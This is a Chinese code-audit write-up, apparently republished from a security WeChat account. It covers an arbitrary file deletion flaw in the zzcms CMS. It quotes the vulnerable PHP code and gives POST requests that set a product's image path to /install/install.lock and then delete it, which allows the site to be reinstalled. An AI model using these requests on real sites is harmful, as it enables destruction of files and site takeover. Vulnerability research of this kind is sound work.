Zzcms最新产品版任意文件删除(可导致重装)

  • A+
所属分类:代码审计

0x00 代码审计

先来看可以导致任意文件删除的地方/user/delimg.php中第12行:

  1. $id=$_REQUEST['id'];

  2. $sql="select img,img2,img3,flv,editor from zzcms_main where id ='$id'";

  3. $rs=mysql_query($sql);

  4. $row=mysql_fetch_array($rs);

  5. if ($_REQUEST['action']==1){

  6. if ($row['img']<>"/image/nopic.gif"){

  7. $f="../".substr($row['img'],1);

  8. if (file_exists($f)){

  9. unlink($f);

  10. }

这里有一个任意文件删除的操作,也就是从zzcms_main中查询出来的img字段值做了一个删除操作。但是这个地方的$id虽然我们不能注入,但是是可控的,所以找一个入库的地方看看。

在/user/zssave.php中第107行:

  1. if ($_POST["action"]=="add"){

  2. $isok=mysql_query("Insert into zzcms_main(proname,bigclasszm,smallclasszm,shuxing,szm,prouse,gg,pricels,sm,img,img2,img3,flv,province,city,xiancheng,zc,yq,title,keywords,description,sendtime,timefororder,editor,userid,groupid,qq,comane,renzheng,skin) values('$cp_name','$bigclassid','$smallclassid','$shuxing','$szm','$gnzz','$gg','$lsj','$sm','$img1','$img2','$img3','$flv','$province','$city','$xiancheng','$zc','$yq','$title','$keyword','$discription','".date('Y-m-d H:i:s')."','$TimeNum','$username','$userid','$groupid','$qq','$comane','$renzheng','$skin')") ;

  3. $cpid=mysql_insert_id();

  4. }elseif ($_POST["action"]=="modify"){

  5. $oldimg1=trim($_POST["oldimg1"]);

  6. $oldimg2=trim($_POST["oldimg2"]);

  7. $oldimg3=trim($_POST["oldimg3"]);

  8. $oldflv=trim($_POST["oldflv"]);

  9. $isok=mysql_query("update zzcms_main set proname='$cp_name',bigclasszm='$bigclassid',smallclasszm='$smallclassid',shuxing='$shuxing',szm='$szm',prouse='$gnzz',gg='$gg',pricels='$lsj',sm='$sm',img='$img1',img2='$img2',img3='$img3',flv='$flv',province='$province',city='$city',xiancheng='$xiancheng',zc='$zc',yq='$yq',title='$title',keywords='$keyword',description='$discription',sendtime='".date('Y-m-d H:i:s')."',timefororder='$TimeNum',editor='$username',userid='$userid',groupid='$groupid',qq='$qq',comane='$comane',renzheng='$renzheng',skin='$skin',passed=0 where id='$cpid'");

对应着action的不同,sql语句也不同,第一个是Insert,第二个update。两个sql语句中都有img这个字段。并且相对应的的值$img1也是可控的:

  1. $img1=$_POST["img1"];

其次就是对于update语句,还能控制update哪一行,因为主键id的值也是可控的:

  1. $cpid=$_POST["ypid"];

所以结合上面所说,能够控制任意zzcms_main表中任意一行img字段的值,所以说能够删除任意文件。

0x01 漏洞复现
首先为了防止zzcms_main表中没有任何数据,所以我们首先进行一个增加数据的操作:

  1. http://localhost/user/zssave.php

  2. POST: action=add&img1=1

然后更新第一行的img字段的值

  1. http://localhost/user/zssave.php

  2. POST: action=modify&img1=/install/install.lock&ypid=1

然后我们再进行删除操作:

  1. http://localhost/user/delimg.php

  2. POST: action=1&id=1

就能删除掉install.lock文件啦。然后开始重装。


本文始发于微信公众号(飓风网络安全):Zzcms最新产品版任意文件删除(可导致重装)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: